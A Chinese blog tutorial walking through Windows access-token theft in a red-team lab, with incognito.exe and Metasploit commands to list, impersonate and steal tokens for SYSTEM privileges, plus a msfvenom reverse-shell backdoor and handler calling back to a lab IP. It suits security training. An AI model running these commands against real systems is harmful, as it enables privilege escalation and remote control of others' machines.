内网渗透之Token令牌窃取


前言

      本文包括:令牌的基本概念和种类,以及在windows靶场环境下访问令牌的窃取利用,靶场为ATT&CK红队评估实战靶场(二)的DC靶机。


一、Token的作用

     1)令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。
     2)令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。

二、令牌的种类

  • 访问令牌(Access Token):表示访问控制操作主体的系统对象 。
  • 会话令牌(Session Token):是交互会话中唯一的身份标识符。
  • 密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身 份校验的物理设备,例如 U 盾。

      Windows 的 AccessToken 有两种类型:

  • Delegation Token:授权令牌,它支持交互式会话登录 (例如本地用户直接 登录、远程桌面登录访问)
  • Impresonation Token:模拟令牌,它是非交互的会话 (例如使用 net use 访问共享文件夹)。

      注:两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation,依旧有效。

三、AccessToken 的窃取与利用

1.incognito.exe程序

     1)AccessToken 的窃取与利用需要 administrator 管理员权限。也就是说要提权。
     2)窃取 AccessToken 的方法有:incognito.exe 程序 、InvokeTokenManipulat.ps1 脚本 、MSF 里的 incognito 模块。
     3)下面演示使用incognito.exe程序窃取令牌并利用。先把incognito.exe工具放进靶机,然后使用以下命令。工具下载链接为:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip。

命令解释
incognito.exe list_tokens -uAccessToken 的列举(需要 administrator 权限)
incognito.exe execute -c “完整的 Token 名” cmd.exe模拟其他用户的令牌(复制 token)

     4)此时是administrator 权限满足要求,使用incognito.exe程序列举token的用户。
在这里插入图片描述
     5)模拟其他用户的token令牌登录系统,此时我们是管理员用户,使用命令模拟成系统用户,还可以模拟成当前用户和其他的域内普通用户等等。
在这里插入图片描述

2.MSF 下的 incognito 模块

use incognito  #加载incognito模块
list_tokens -u  #列出AccessToken
getuid  #查看当前token
impersonate_token "NT AUTHORITY\SYSTEM"  #模拟system 用户,getsystem 命令,即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即可
steal_token 1252  #从进程窃取token
getsystem  #提升至system 权限
rev2self  #返回到之前的AccessToken 权限

3.MSF方式令牌窃取靶机演示

     1)先生成一个msf的后门shell.exe。

msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=25001 LHOST=10.10.10.25 -f exe -o shell.exe

在这里插入图片描述
     2)msf开启监听端口。

msfconsole  
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.10.25  // 你设置监听的ip
set lport 25001  // 你设置监听的端口
exploit

在这里插入图片描述
     3)把生成的后门通过各种方法传递到靶机上然后运行。
在这里插入图片描述
     4)成功获取会话。
在这里插入图片描述
     5)进入incognito模块并列举访问令牌,windows下可以列举出授权令牌 (Delegation Token)和模拟令牌(Impresonation)这两种访问令牌。

use incognito  #加载incognito模块
list_tokens -u  #列出AccessToken

在这里插入图片描述
     6)开始伪造令牌,模拟system权限的用户。

	getuid  #查看当前token
	# 模拟system用户,getsystem 命令,即实现了该命令。
	# 如果要模拟其他用户,将 token 名改为其他用户即可
	impersonate_token "NT AUTHORITY\SYSTEM" 

在这里插入图片描述
     7)除了可以伪造令牌,也可以从进程里窃取令牌。首先使用 ps 命令列出进程,查看进程用户。
在这里插入图片描述
     8)查看好拥有system权限的进程的pid,然后使用 steal_token命令,窃取进程对应的令牌就有对应的权限。

	steal_token 2228  #从进程窃取token

在这里插入图片描述
     9)直接利用system窃取令牌,然后返回之前的 token。

	getsystem  # 提升至system 权限
	rev2self  # 返回到之前的AccessToken 权限

在这里插入图片描述

  • 4
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值